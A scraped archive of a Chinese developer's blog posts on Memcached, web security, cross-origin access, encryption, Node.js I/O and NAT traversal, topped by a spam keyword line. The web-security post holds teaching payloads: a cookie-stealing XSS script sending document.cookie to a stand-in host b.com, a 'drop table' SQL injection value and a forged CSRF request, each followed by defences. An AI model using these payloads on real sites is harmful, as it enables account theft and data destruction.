久久久久久a亚洲欧洲aⅴ,亚洲国产精品一区二区久,国产亚洲精品仙踪林在线播放

2010年3月30日 #

互聯(lián)網(wǎng)上的應(yīng)用、網(wǎng)站，隨著用戶的增長，功能的增強，會導(dǎo)致服務(wù)器超載，響應(yīng)變慢等問題。緩存技術(shù)是減輕服務(wù)器壓力、加快服務(wù)響應(yīng)時間、提升用戶體驗的有效途徑。Memcached是非常流行的緩存系統(tǒng)，這里介紹對Memcached的安裝、設(shè)定，以及在集群環(huán)境下的使用。

Memcached簡介

Memcached是一個開源、高性能、分布式的內(nèi)存緩存系統(tǒng)，用于加速動態(tài)網(wǎng)站的訪問，減輕數(shù)據(jù)庫負(fù)載。

Memcached使用了Slab Allocator的機制分配、管理內(nèi)存，解決了內(nèi)存碎片的問題。

Memcached雖然可以在多線程模式下運行，但線程數(shù)通常只需設(shè)定為與CPU數(shù)量相同，這一點與Nginx的設(shè)定類似。

Memcached使用

安裝:

在CentOS下使用下面的命令安裝：

sudo yum install memcached

啟動：

memcached -m 100 -p 11211 -d -t 2 -c 1024 -P /tmp/memcached.pid

-m 指定使用的內(nèi)存容量，單位MB，默認(rèn)64MB。
-p 指定監(jiān)聽的TCP端口，默認(rèn)11211。
-d 以守護進程模式啟動。
-t 指定線程數(shù)，默認(rèn)為4。
-c 最大客戶端連接數(shù)，默認(rèn)為1024。
-P 保存PID文件。

關(guān)閉：

kill `cat /tmp/memcached.pid`

測試：

使用telnet連接memcached服務(wù)。

telnet localhost 11211

存儲命令格式：

set foo 0 0 4 abcd STORED  <command name> <key> <flags> <exptime> <bytes> <data block>  <command name> set, add, replace等 <key> 關(guān)鍵字 <flags> 整形參數(shù)，存儲客戶端對鍵值的額外信息，如值是壓縮的，是字符串，或JSON等 <exptime> 數(shù)據(jù)的存活時間，單位為秒，0表示永遠(yuǎn) <bytes> 存儲值的字節(jié)數(shù) <data block> 存儲的數(shù)據(jù)內(nèi)容

讀取命令格式：

get foo VALUE foo 0 4 abcd END  <command name> <key>  <command name> get, gets。gets比get多返回一個數(shù)字，這個數(shù)字檢查數(shù)據(jù)有沒有發(fā)生變化，當(dāng)key對應(yīng)的數(shù)據(jù)改變時，gets多返回的數(shù)字也會改變。 <key> 關(guān)鍵字  返回的數(shù)據(jù)格式：  VALUE <key> <flags> <bytes>

CAS(checked and set)：

cas foo 0 0 4 1 cdef STORED  cas <key> <flags> <exptime> <bytes> <version>  除最后的<version>外，其他參數(shù)與set, add等命令相同，<version>的值需要與gets獲取的值相同，否則無法更新。 incr, decr可對數(shù)字型數(shù)據(jù)進行原子增減操作。

全局統(tǒng)計信息

stats STAT pid 10218 STAT time 1432611519 STAT curr_connections 6 STAT total_connections 9 STAT connection_structures 7 STAT reserved_fds 10 STAT cmd_get 5 STAT cmd_set 1 STAT cmd_flush 0 STAT cmd_touch 0 STAT get_hits 3 STAT get_misses 2 STAT delete_misses 0 STAT delete_hits 0 ... END

Memcached集群

Memcached本身不做任何容錯處理，對故障節(jié)點的處理方式完全取決于客戶端。對Memcached的客戶端來說，不能使用普通的哈希算法（哈希取模）來尋找目標(biāo)Server，因為這樣在有緩存節(jié)點失效時，會導(dǎo)致大面積緩存數(shù)據(jù)不可用。如下圖：

當(dāng)Server3失效后，客戶端需要根據(jù)可用Server數(shù)量重新計算緩存的目標(biāo)Server，這時，Key的哈希值為10的數(shù)據(jù)被指定為由Server1維護，這時原本Server2上可用的緩存也無效了。

一致性哈希算法

一致性哈希算法解決了在動態(tài)變化的緩存環(huán)境中，定位目標(biāo)Server的問題，通常的實現(xiàn)可將它想像成一個閉合的環(huán)形。如下圖：

當(dāng)有節(jié)點失效時，不會影響到正常工作的緩存服務(wù)器，只有原本分配到失效節(jié)點的緩存會被重新分配到下一個節(jié)點。如下圖：

微信訂閱號：
原文地址：http://blog.gopersist.com/2015/05/28/memcached/

posted @ 2015-05-31 17:18 老林閱讀(1575) | 評論 (2) | 編輯收藏

Web安全技術(shù)(4)-常見的攻擊和防御

對于一個Web應(yīng)用來說，可能會面臨很多不同的攻擊。下面的內(nèi)容將介紹一些常見的攻擊方法，以及面對這些攻擊的防御手段。

一、跨站腳本攻擊（XSS）

跨站腳本攻擊的英文全稱是Cross Site Script，為了和樣式表區(qū)分，縮寫為XSS。發(fā)生的原因是網(wǎng)站將用戶輸入的內(nèi)容輸出到頁面上，在這個過程中可能有惡意代碼被瀏覽器執(zhí)行。

跨站腳本攻擊可以分為兩種：

1). 反射型XSS

它是通過誘使用戶打開一個惡意鏈接，服務(wù)端將鏈接中參數(shù)的惡意代碼渲染到頁面中，再傳遞給用戶由瀏覽器執(zhí)行，從而達(dá)到攻擊的目的。如下面的鏈接：

http://a.com/a.jsp?name=xss<script>alert(1)</script>

a.jsp將頁面渲染成下面的html：

Hello xss<script>alert(1)</script>

這時瀏覽器將會彈出提示框。

2). 持久型XSS

持久型XSS將惡意代碼提交給服務(wù)器，并且存儲在服務(wù)器端，當(dāng)用戶訪問相關(guān)內(nèi)容時再渲染到頁面中，以達(dá)到攻擊的目的，它的危害更大。

比如，攻擊者寫了一篇帶惡意JS代碼的博客，文章發(fā)表后，所有訪問該博客文章的用戶都會執(zhí)行這段惡意JS。

Cookie劫持

Cookie中一般保存了當(dāng)前用戶的登錄憑證，如果可以得到，往往意味著可直接進入用戶帳戶，而Cookie劫持也是最常見的XSS攻擊。以上面提過的反射型XSS的例子來說，可以像下面這樣操作：

首先誘使用戶打開下面的鏈接：

http://a.com/a.jsp?name=xss<script src=http://b.com/b.js></script>

用戶打開鏈接后，會加載b.js，并執(zhí)行b.js中的代碼。b.js中存儲了以下JS代碼：

var img = document.createElement("img"); img.src = "http://b.com/log?" + escape(document.cookie); document.body.appendChild(img);

上面的代碼會向b.com請求一張圖片，但實際上是將當(dāng)前頁面的cookie發(fā)到了b.com的服務(wù)器上。這樣就完成了竊取cookie的過程。

防御Cookie劫持的一個簡單的方法是在Set-Cookie時加上HttpOnly標(biāo)識，瀏覽器禁止JavaScript訪問帶HttpOnly屬性的Cookie。

XSS的防御

1). 輸入檢查

對輸入數(shù)據(jù)做檢查，比如用戶名只允許是字母和數(shù)字，郵箱必須是指定格式。一定要在后臺做檢查，否則數(shù)據(jù)可能繞過前端檢查直接發(fā)給服務(wù)器。一般前后端都做檢查，這樣前端可以擋掉大部分無效數(shù)據(jù)。

對特殊字符做編碼或過濾，但因為不知道輸出時的語境，所以可能會做不適當(dāng)?shù)倪^濾，最好是在輸出時具體情況具體處理。

2). 輸出檢查

對渲染到HTML中內(nèi)容執(zhí)行HtmlEncode，對渲染到JavaScript中的內(nèi)容執(zhí)行JavascriptEncode。

另外還可以使用一些做XSS檢查的開源項目。

二、SQL注入

SQL注入常常會聽到，它與XSS類似，是由于用戶提交的數(shù)據(jù)被當(dāng)成命令來執(zhí)行而造成的。下面是一個SQL注入的例子：

String sql = "select * from user where username = '" + username + "'";

像上面的SQL語句，如果用戶提交的username參數(shù)是leo，則數(shù)據(jù)庫執(zhí)行的SQL為：

select * from user where username = 'leo'

但如果用戶提交的username參數(shù)是leo’; drop table user–，那執(zhí)行的SQL為：

select * from user where username = 'leo'; drop table user--'

在查詢數(shù)據(jù)后，又執(zhí)行了一個刪除表的操作，這樣的后果非常嚴(yán)重。

SQL注入的防御

防止SQL注入最好的方法是使用預(yù)編譯語句，如下面所示：

String sql = "select * from user where username = ?"; PreparedStatement pstmt = conn.prepareStatement(sql); pstmt.setString(1, username); ResultSet results = pstmt.executeQuery();

不同語言的預(yù)編譯方法不同，但基本都可以處理。

如果遇到無法使用預(yù)編譯方法時，只能像防止XSS那樣對參數(shù)進行檢查和編碼。

三、跨站請求偽造（CSRF）

跨站請求偽造的英文全稱是Cross Site Request Forgery，是由于操作所需的所有參數(shù)都能被攻擊者得到，進而構(gòu)造出一個偽造的請求，在用戶不知情的情況下被執(zhí)行。看下面一個例子：

如果a.com網(wǎng)站需要用戶登錄后可以刪除博客，刪除博客的請求地址如下：

GET http://a.com/blog/delete?id=1

當(dāng)用戶登錄a.com后，又打開了http://b.com/b.html，其中有下面的內(nèi)容：

<img src="http://a.com/blog/delete?id=1"/>

這時會以用戶在a.com的身份發(fā)送http://a.com/blog/delete?id=1，刪除那篇博客。

CSRF的防御

驗證碼

CSRF是在用戶不知情的情況下構(gòu)造的網(wǎng)絡(luò)情況，驗證碼則強制用戶與應(yīng)用交互，所以驗證碼可以很好得防止CSRF。但不能什么請求都加驗證碼。

referer檢查

檢查請求header中的referer也能幫助防止CSRF攻擊，但服務(wù)器不是總能拿到referer，瀏覽器可能出于安全或隱私而不發(fā)送referer，所以也不常用。倒是圖片防盜鏈中用得很多。

Anti CSRF Token

更多的是生成一個隨機的token，在用戶提交數(shù)據(jù)的同時提交這個token，服務(wù)器端比對后如果不正確，則拒絕執(zhí)行操作。

四、點擊劫持（ClickJacking）

點擊劫持是從視覺上欺騙用戶。攻擊者使用一個透明的iframe覆蓋在一個網(wǎng)頁上，誘使用戶在該網(wǎng)頁上操作，而實際點擊卻是點在透明的iframe頁面。

點擊劫持延伸出了很多攻擊方式，有圖片覆蓋攻擊、拖拽劫持等。

點擊劫持的防御

針對iframe的攻擊，可使用一個HTTP頭：X-Frame-Options，它有三種可選值：

DENY：禁止任何頁面的frame加載；
SAMEORIGIN：只有同源頁面的frame可加載；
ALLOW-FROM：可定義允許frame加載的頁面地址。

針對圖片覆蓋攻擊，則注意使用預(yù)防XSS的方法，防止HTML和JS注入。

微信訂閱號：
原文地址：http://blog.gopersist.com/2015/04/25/web-security-4/

posted @ 2015-04-25 15:40 老林閱讀(6289) | 評論 (2) | 編輯收藏

Web安全技術(shù)(3)-瀏覽器的跨域訪問

一、瀏覽器介紹

對于Web應(yīng)用來說，瀏覽器是最重要的客戶端。

目前瀏覽器五花八門多得不得了，除了Chrome、IE、Firefox、Safari、Opera這些國外的瀏覽器外，百度、騰訊、360、淘寶、搜狗、傲游之類的，反正能做的都做了。

瀏覽器雖然這么多，但瀏覽器內(nèi)核主要就以下4種：

Trident：IE使用的內(nèi)核。
Gecko：Firefox使用的內(nèi)核。
WebKit：Safair和Chrome使用的內(nèi)核。WebKit由蘋果發(fā)明，Chrome也用了，但是Google又開發(fā)了V8引擎替換掉了WebKit中的Javascript引擎。
Presto：Opera使用的內(nèi)核。

國內(nèi)的瀏覽器基本都是雙核瀏覽器，使用基于WebKit的內(nèi)核高速瀏覽常用網(wǎng)站，使用Trident內(nèi)核兼容網(wǎng)銀等網(wǎng)站。

二、同源策略

同源策略是瀏覽器最基本的安全策略，它認(rèn)為任何站點的內(nèi)容都是不安全的，所以當(dāng)腳本運行時，只被允許訪問來自同一站點的資源。

同源是指域名、協(xié)議、端口都相同。

如果沒有同源策略，就會發(fā)生下面這樣的問題：

惡意網(wǎng)站用一個iframe把真實的銀行登錄頁放到他的頁面上，當(dāng)用戶使用用戶名密碼登錄時，父頁面的javascript就可以讀取到銀行登錄頁表單中的內(nèi)容。
甚至瀏覽器的1個Tab頁打開了惡意網(wǎng)站，另一個Tab頁打開了銀行網(wǎng)站，惡意網(wǎng)站中的javascript可以讀取到銀行網(wǎng)站的內(nèi)容。這樣銀行卡和密碼就能被輕易拿走。

三、跨域訪問

由于同源策略的原因，瀏覽器對跨域訪問做了很多限制，但有時我們的確需要做跨域訪問，那要怎么辦？主要有以下幾種情況：

1. iframe的跨域訪問

同域名下，父頁面可以通過document.getElementById(‘_iframe’).contentWindow.document訪問子頁面的內(nèi)容，但不同域名下會出現(xiàn)類似下面的錯誤：

Uncaught SecurityError: Blocked a frame with origin “http://a.com” from accessing a frame with origin “http://b.com”. Protocols, domains, and ports must match.

有兩種解決方法：

1). 當(dāng)主域名相同，子域名不同時，比較容易解決，只需設(shè)置相同的document.domain即可。

如http://a.a.com/a.html使用iframe載入http://b.a.com/b.html，且在a.html中有Javascript要修改b.html中元素的內(nèi)容時，可以像下面的代碼那樣操作。

a.html

<html>
   <head>
     <script>
       document.domain = 'a.com';
       function changeIframeContent() {
         var _iframe = document.getElementById('_iframe');
         var _p = _iframe.contentWindow.document.getElementById('_p');
         _p.innerHTML = 'Content from a.html';
       }
     </script>
   </head>
   <body>
     <iframe id="_iframe" src="http://b.a.com/demo/iframe/subdomain/b.html"></iframe>
     <br>
     <input type="button" value="Change iframe content" onclick="changeIframeContent();"/>
   </body>
 </html>

b.html

<html>
   <head>
     <script>
       document.domain = 'a.com';
     </script>
   </head>
   <body>
     <p id="_p">b.html</p>
   </body>
 </html>

2). 當(dāng)主域名不同時，就非常麻煩了。大致的方法像下面描述的那樣：

a.com下有a.html；
a.html創(chuàng)建iframe加載b.com下的b.html，可在加載b.html時通過?或#將參數(shù)傳遞到b.html中；
b.html加載后，可以通過提取location.search或location.hash中的內(nèi)容獲取a.html傳過來的參數(shù)；
b.html創(chuàng)建一個iframe，加載a.com下的c.html，并且參數(shù)也通過?或#傳給c.html；
因為c.html和a.html是相同域名，所以c.html可以使用parent.parent訪問到a.html的對象，這樣也就可以將b.html需要傳遞的參數(shù)傳回到a.html中。

2. Ajax的跨域訪問

Ajax主要通過XMLHttpRequest對象實現(xiàn)，但是如果通過XMLHttpRequest訪問不同域名下的數(shù)據(jù)，瀏覽器會出現(xiàn)類似下面的錯誤：

XMLHttpRequest cannot load http://b.com/demo/iframe/ajax/b.html. No ‘Access-Control-Allow-Origin’ header is present on the requested resource. Origin ‘http://a.com’ is therefore not allowed access.

這時可由以下兩種方法解決：

1). 使用<script>代替XMLHttpRequest，也就是JSONP的方法。利用<script>標(biāo)簽的src下加載的js不受同源策略限制，并且加載后的js運行在當(dāng)前頁面的域下，所以可自由操作當(dāng)前頁面的內(nèi)容。

下面的代碼演示了在a.com下的a.html通過b.com下的b.js中的內(nèi)容來更新自身的p標(biāo)簽。

a.html

<html>
   <head>
     <script>
       function update_p (content) {
         document.getElementById("_p").innerHTML = content;
       }
       function getFromB() {
         var _script = document.createElement("script");
         _script.type = "text/javascript";
         _script.src = "http://b.com/demo/ajax/b.js";
         document.getElementsByTagName("head")[0].appendChild(_script);
       }
     </script>
   </head>
   <body>
     <p id="_p">a.html</p>
     <input type="button" value="Get from b.com" onclick="getFromB()"/>
   </body>
 </html>

b.js

update_p("content from b.js");

在實際使用中，通常a.html會將update_p以callback參數(shù)名傳遞給b.com的服務(wù)器，服務(wù)器動態(tài)生成數(shù)據(jù)后，再用callback參數(shù)值包起來作為響應(yīng)回傳給a.html。

2). 在b.com的服務(wù)器返回信息中增加以下頭信息：

Access-Control-Allow-Origin: http://a.com
Access-Control-Allow-Methods: GET

此時瀏覽器便允許a.com讀取使用GET請求b.com的內(nèi)容。

對于flash來說，會要求在網(wǎng)站根目錄下放一個名為crossdomain.xml的文件，以指明允許訪問的域名來源。文件中的內(nèi)容類似下面的樣子：

<cross-domain-policy>
   <allow-access-from domain="*.a.com" />
 </cross-domain-policy>

3. 使用HTML5的postMessage方法實現(xiàn)跨域訪問

HTML5增加了跨文檔消息傳輸，下面的例子實現(xiàn)了使用postMessage在不同域間傳遞消息：

a.html

<html>
   <head>
     <script>
       function update_b () {
         var _iframe = document.getElementById("_iframe");
 	_iframe.contentWindow.postMessage("content from a.html", "http://b.com");
       }
     </script>
   <head>
   <body>
     <iframe id="_iframe" src="http://b.com/demo/html5/b.html"></iframe>
     <br>
     <input type="button" value="Update b.html" onclick="update_b()"></input>
   </body>
 </html>

b.html

<html>
   <head>
     <script>
       window.addEventListener("message", function (event) {
         document.getElementById("_p").innerHTML = event.data;
       }, false);
     </script>
   </head>
   <body>
     <p id="_p">b.html</p>
   </body>
 </html>

在postMessage中要指定接收方的域名，如果發(fā)現(xiàn)目標(biāo)頁面的域名不正確，將拋出類似下面這樣的錯誤：

Failed to execute ‘postMessage’ on ‘DOMWindow’: The target origin provided (‘http://c.com’) does not match the recipient window’s origin (‘http://b.com’).

瀏覽器對跨域訪問的限制是出于安全考慮的，所以在使用一些方法實現(xiàn)跨域訪問時要特別小心。

微信訂閱號：
源文地址：http://blog.gopersist.com/2015/04/22/web-security-3/

posted @ 2015-04-22 00:15 老林閱讀(32131) | 評論 (6) | 編輯收藏

Web安全技術(shù)(2)-安全概述

一、安全的要素

信息安全的核心問題是要保障數(shù)據(jù)的合法使用者能夠在任何需要該數(shù)據(jù)時獲得保密的，沒有被非法更改過的數(shù)據(jù)。主要有以下幾要素：

機密性

保證數(shù)據(jù)內(nèi)容不能泄露。
用戶的密碼用明文保存，就破壞了機密性。

完整性

保證數(shù)據(jù)內(nèi)容不被篡改。
使用HTTP提交數(shù)據(jù)時，數(shù)據(jù)在傳輸過程中被篡改后再發(fā)往服務(wù)器，就破壞了完整性。

可用性

保證數(shù)據(jù)可被正常訪問和使用。
像拒絕服務(wù)攻擊（DoS）就是破壞了可用性。

最基本的安全要素就上面三個，下面還有一些其他的。

可審計性

記錄對數(shù)據(jù)產(chǎn)生的操作，用于日后的分析、審查。

不可抵賴性

首先要保證數(shù)據(jù)完整性，然后，在傳輸?shù)臄?shù)據(jù)中必須攜帶用于身份識別的信息，且這部分信息在不同主體間不能發(fā)生碰撞。

加密技術(shù)的使用

上一篇《Web安全技術(shù)(1)-對加密機制的理解》中提到了三類加密算法，可以應(yīng)用于某些要素的安全保障。如下面的說明：

對稱加密

可保障機密性，對數(shù)據(jù)加密后存儲，可以使沒有密鑰的人員無法獲取數(shù)據(jù)內(nèi)容。

非對稱加密

可以對數(shù)據(jù)進行加密解密操作，所以也能像對稱加密一樣保障機密性；
因為非對稱加密可以實現(xiàn)數(shù)字簽名，所以可以保證數(shù)據(jù)完整性。另外，由于是使用私鑰簽名，而私鑰只有數(shù)據(jù)發(fā)送方才有，所以如果公鑰可以驗簽成功，則發(fā)送方不可抵賴。

摘要加密

摘要算法可保障數(shù)據(jù)完整性。
在某些網(wǎng)站的軟件下載頁面里，有時除了下載地址，旁邊還會有一個MD5碼。這個MD5就是對下載的軟件做的摘要加密。在下載完成后，在本機對下載的軟件做MD5，然后和網(wǎng)站上顯示的MD5做比較，如果相同就表示軟件被成功下載，而且下載過程中軟件內(nèi)容沒有被篡改。
在做系統(tǒng)時，我們也經(jīng)常會對密碼做摘要加密后再保存，因為摘要加密的一個特性是不可逆，這樣通過數(shù)據(jù)庫中保存的加密后的密碼不可能還原成用戶的真實密碼。而用戶登錄時，只需將用戶提交的密碼再做摘要加密，然后與數(shù)據(jù)庫中保存的密碼比較，就能判斷用戶有沒有輸入正確的密碼。

二、風(fēng)險分析

對于數(shù)據(jù)可能會遇到什么威脅，一般是拍腦袋想一想，也可以使用模型幫忙，下面是一個叫STRIDE的威脅模型：

如何評估風(fēng)險？

數(shù)據(jù)受到威脅就可能造成損失，但損失有大有小，威脅發(fā)生的概率也有高有低，我們要結(jié)合具體情況來對風(fēng)險做出判斷。有一個叫DREAD的模型，可以指導(dǎo)我們?nèi)绾闻袛嗤{的風(fēng)險程度。

每一個因素都分高、中、低三個等級，權(quán)重值分別為3、2、1。

當(dāng)有一個威脅時，我們將它在每一個因素中的權(quán)重值相加，即可得出風(fēng)險系數(shù)。

假如我們對風(fēng)險系數(shù)范圍的定義如下：

高危：12~15分，中危：8~11分，低危：5~7分。

那如果以使用明文保存密碼為例，風(fēng)險系數(shù)可能像下面這樣計算：

風(fēng)險 = D(3) + R(1) + E(1) + A(3) + D(1) = 9分，這就是一個中危風(fēng)險。

后續(xù)對威脅的處理，應(yīng)當(dāng)根據(jù)風(fēng)險的大小和修復(fù)的難易程度做出平衡。

微信訂閱號：
源文地址：http://blog.gopersist.com/2015/04/17/web-security-2/

posted @ 2015-04-17 23:47 老林閱讀(5009) | 評論 (0) | 編輯收藏

Web安全技術(shù)(1)-對加密機制的理解

加密算法

數(shù)據(jù)加密算法有對稱加密、非對稱加密和信息摘要三類。

對稱加密是使用單個密鑰對數(shù)據(jù)進行加密和解密。有DES、AES、RC-5等算法。

非對稱加密是使用一對密鑰(公鑰和私鑰)對數(shù)據(jù)進行加密和解密。有RSA、ECC等算法。非對稱加密大概比對稱加密慢100倍以上。

通常的用法如下：

使用公鑰加密數(shù)據(jù)，使用私鑰解密數(shù)據(jù)。
使用私鑰簽名數(shù)據(jù)，使用公鑰驗證簽名。

信息摘要如果也算加密算法的話，它的加密過程不需要密鑰，并且經(jīng)過加密的數(shù)據(jù)無法被解密，它是根據(jù)不定長的明文計算得到一段定長的數(shù)據(jù)。有MD5、SHA1等算法。

密鑰規(guī)范

規(guī)范太多，網(wǎng)上講得很亂，挑常用的按我的理解列一下。

密鑰格式：

X.509：通用的證書格式，包括公鑰信息、用戶標(biāo)識、簽發(fā)信息等。
PKCS系統(tǒng)標(biāo)準(zhǔn)：美國RSA數(shù)據(jù)安全公司及其合作伙伴制定的一組公鑰密碼學(xué)標(biāo)準(zhǔn)。其中PKCS#8描述私有密鑰的信息格式，包括私鑰及可選的屬性集等。

密鑰存儲：

DER：二進制編碼。
PEM：ASCII編碼。

加密模式

塊密碼自身只能加密長度等于密碼塊長度的單塊數(shù)據(jù)，若要對變長數(shù)據(jù)進行加密，則必須事先將數(shù)據(jù)進行切分，而且最后一個數(shù)據(jù)塊需要適當(dāng)?shù)奶畛浞绞綌U展到密碼塊的長度。加密模式即塊密碼的工作模式，就是使用這些方式用同一個密鑰對多于一塊的數(shù)據(jù)進行加密。

加密模式通常用于對稱加密，也可以用于非對稱加密。但非對稱加密通常不適合加密較長的信息，所以會使用混合加密代替。

ps: 以RSA和DES為例，混合加密通常使用DES先加密明文，再使用RSA的公鑰加密DES的密鑰，再將2個密文一起傳遞出去。接收方使用RSA的私鑰解密DES的密鑰信息，再使用DES的密鑰解密具體內(nèi)容。

最簡單的加密模式是ECB（即電子密碼本）。其他還有CBC、PCBC、CFB等。

ECB和CBC需要對最后一塊進行填充，填充方法有很多種，最簡單的是先在明文的最后填充空字符，使明文長度為密碼塊長度的整數(shù)倍。

微信訂閱號：
源文地址：http://blog.gopersist.com/2015/04/08/crypto/

posted @ 2015-04-13 21:51 老林閱讀(4936) | 評論 (0) | 編輯收藏

Node.js的異步I/O

Linux操作系統(tǒng)的I/O模型

JAVA的NIO引入了異步I/O，而Node.js宣稱的就是異步編程，I/O自然是異步的。其實操作系統(tǒng)在很早就引入了異步I/O的概念，如下圖（摘自Unix網(wǎng)絡(luò)編程中的圖片）：

我對上圖的理解有幾點：

從IO設(shè)備讀取數(shù)據(jù)到用戶內(nèi)存的整個過程都是由系統(tǒng)內(nèi)核來完成；
數(shù)據(jù)總是先被拷貝到內(nèi)核緩沖區(qū)，再由內(nèi)核緩沖區(qū)拷貝到用戶內(nèi)存；
除了異步I/O，其余4種I/O模型其實都是阻塞的，至少在數(shù)據(jù)從內(nèi)核拷貝到用戶內(nèi)存時是阻塞的；
雖然異步I/O看上去是理想解決方案，但實現(xiàn)上現(xiàn)在用得最多的應(yīng)該是多路I/O復(fù)用，有select、poll、epoll的實現(xiàn)，性能最好的是epoll；
異步I/O現(xiàn)在被認(rèn)為有缺陷，僅支持O_DIRECT而無法支持系統(tǒng)緩存。

Node.js中的異步I/O

因為內(nèi)核中的異步I/O有缺陷，現(xiàn)實中的異步I/O通常由用戶態(tài)的線程池模擬完成，如下圖：

Node.js中原本使用了libeio異步I/O庫，在v0.9.3后改為自己實現(xiàn)的線程池來完成異步I/O。所以在Node.js中，除了用戶的Javascript代碼是單線程外，所有I/O都是多線程并行執(zhí)行的。

Node.js中的異步I/O調(diào)用

Node.js通過事件循環(huán)的模式運行，在每一個循環(huán)的過程中，通過詢問一個或多個觀察者來判斷是否有事件要處理，而觀察者可以有文件I/O觀察者、網(wǎng)絡(luò)I/O觀察者等。

Node.js中異步I/O調(diào)用的大致流程如下：

發(fā)起I/O調(diào)用
1. 用戶通過Javascript代碼調(diào)用Node核心模塊，將參數(shù)和回調(diào)函數(shù)傳入到核心模塊；
2. Node核心模塊會將傳入的參數(shù)和回調(diào)函數(shù)封裝成一個請求對象；
3. 將這個請求對象推入到I/O線程池等待執(zhí)行；
4. Javascript發(fā)起的異步調(diào)用結(jié)束，Javascript線程繼續(xù)執(zhí)行后續(xù)操作。
執(zhí)行回調(diào)
1. I/O操作完成后，會將結(jié)果儲存到請求對象的result屬性上，并發(fā)出操作完成的通知；
2. 每次事件循環(huán)時會檢查是否有完成的I/O操作，如果有就將請求對象加入到I/O觀察者隊列中，之后當(dāng)做事件處理；
處理I/O觀察者事件時，會取出之前封裝在請求對象中的回調(diào)函數(shù)，執(zhí)行這個回調(diào)函數(shù)，并將result當(dāng)參數(shù)，以完成Javascript回調(diào)的目的。

微信訂閱號：
源文地址：
http://blog.gopersist.com/2015/03/09/aio/

posted @ 2015-04-13 21:42 老林閱讀(3971) | 評論 (0) | 編輯收藏

P2P中NAT之間的打洞可能性

我們看看不同NAT之間的NAT打洞。NAT打洞需要Server配合，需要2種Server：

1. 類似WebRTC中的信令服務(wù)器，作用是幫助客戶機溝通IP和PORT信息；

2. STUN Server，用來讓客戶機判斷自己所在的NAT環(huán)境。

現(xiàn)在假設(shè)客戶端和Server的通訊都沒問題，客戶端知道自己所處環(huán)境，并且將自己的信息通過服務(wù)器發(fā)送給了另一方客戶端，它們可能的打洞情況如下：

1. Full Cone NAT 與 Full Cone NAT：通訊很容易，各自通過STUN Server獲取外部IP和Port后，通過信令服務(wù)器通知另一方，即可通訊。

2. Full Cone NAT 與 Restricted Cone NAT或Port Restricted Cone NAT在互相告知IP和Port后，如果由Full Cone NAT端先發(fā)送數(shù)據(jù)包，會失敗，必須由Restricted Cone NAT或Port Restricted Cone NAT端先發(fā)送數(shù)據(jù)包給Full Cone NAT，之后雙方即可互相通訊。

3. Full Cone NAT 與 Symmetric NAT通訊時，必須先由Symmetric NAT端發(fā)送數(shù)據(jù)包給Full Cone NAT端，F(xiàn)ull Cone NAT端通過發(fā)來的數(shù)據(jù)包獲得目標(biāo)的新端口號，之后通過這個新端口號完成互相通訊。

4. Restricted Cone NAT 與 Restricted Cone NAT、Restricted Cone NAT 與 Port Restricted Cone NAT、Port Restricted Cone NAT 與 Port Restricted Cone NAT之間通訊時，先發(fā)送數(shù)據(jù)包的一方會失敗，之后另一方發(fā)送數(shù)據(jù)包成功后，可互相通訊。

5. Restricted Cone NAT 與 Symmetric NAT通訊時，先由Restricted Cone NAT發(fā)送數(shù)據(jù)包給Symmetric NAT，發(fā)送數(shù)據(jù)會失敗，只是為了下次能接收從Symmetric NAT端發(fā)送過來的數(shù)據(jù)包。然后由Symmetric NAT發(fā)送數(shù)據(jù)包到Restricted Cone NAT端，Restricted Cone NAT端會收到數(shù)據(jù)包，并且將新的端口號記下，使用新的端口號可與Symmetric NAT端通訊。

6. Port Restricted Cone NAT 與 Symmetric NAT通訊時，由于Port Restricted Cone NAT會對IP:PORT對進行限制，所以當(dāng)Symmetric NAT端使用新PORT發(fā)來數(shù)據(jù)包時，Port Restricted Cone NAT端收不到，它們之間無法通訊。

7. Symmetric NAT 與 Symmetric NAT也無法通訊。

posted @ 2014-10-23 14:17 老林閱讀(6496) | 評論 (0) | 編輯收藏

針對UDP數(shù)據(jù)的4種NAT行為

針對收發(fā)UDP數(shù)據(jù)，NAT可分為Full Cone、Restricted Cone、Port Restricted Cone、Symmetric NAT四類，在RFC3489中有定義(http://datatracker.ietf.org/doc/rfc3489/?include_text=1)。

1. Full Cone：所有從相同的內(nèi)部IP和PORT發(fā)出的請求都映射為相同的外部IP和PORT，而后任何外部主機只要發(fā)送數(shù)據(jù)包給NAT的IP和PORT就會被轉(zhuǎn)發(fā)給內(nèi)部主機。

從圖中可以看到，只要內(nèi)部主機通過NAT訪問了一次外部主機，在Mapping Table中會增加一條內(nèi)部IP:Port映射到NAT的端口，那么外部的任何主機都可以通過NAT的IP:PORT將數(shù)據(jù)發(fā)給內(nèi)部主機。

2. Restricted Cone：所有從相同的內(nèi)部IP和PORT發(fā)出的請求都映射為相同的外部IP和PORT，但只有內(nèi)部主機曾發(fā)送過數(shù)據(jù)的外部IP才可將數(shù)據(jù)包通過NAT的IP:PORT發(fā)給內(nèi)部主機。

從圖中可以看到，因為內(nèi)部主機沒有發(fā)過數(shù)據(jù)包給外部主機B，所以外部主機發(fā)到NAT的數(shù)據(jù)包無法發(fā)給內(nèi)部主機。

3. Port Restricted Cone：和Restricted Cone類似，但是除了IP的限制外增加了PORT的限制，即只有內(nèi)部主機曾發(fā)送過數(shù)據(jù)的外部IP:PORT才可將數(shù)據(jù)包通過NAT的IP:PORT發(fā)給內(nèi)部主機。

從圖中可以看到，外部主機1用另一個PORT無法將數(shù)據(jù)發(fā)到內(nèi)部主機。

4. Symmetric NAT：從內(nèi)部主機相同的IP和PORT發(fā)出的請求，當(dāng)訪問不同外部IP和PORT時，都會在NAT上創(chuàng)建不同的映射。

上圖中雖然內(nèi)部IP和PORT相同，但訪問不同的外部IP/PORT對，都會映射為不同的NAT PORT。當(dāng)外部主機發(fā)數(shù)據(jù)包給內(nèi)部主機時，也只能使用對應(yīng)的PORT。

posted @ 2014-10-23 13:56 老林閱讀(3314) | 評論 (0) | 編輯收藏

Ubuntu下安裝TURN Server (rfc5766-turn-server)

在使用WebRTC進行即時通訊時，需要使瀏覽器進行P2P通訊，但是由于NAT環(huán)境的復(fù)雜性，并不是所有情況下都能進行P2P，這時需要TURN Server來幫助客戶端之間轉(zhuǎn)發(fā)數(shù)據(jù)。rfc5766-turn-server是一個高性能的開源TURN Server實現(xiàn)。

以下是在EC2上使用Ubuntu操作系統(tǒng)安裝rfc5766-turn-server：

1. 下載安裝包：

$ wget http://ftp.cn.debian.org/debian/pool/main/r/rfc5766-turn-server/rfc5766-turn-server_3.2.4.4-1_amd64.deb

2. 安裝：

$ sudo apt-get update

$ sudo apt-get install gdebi-core

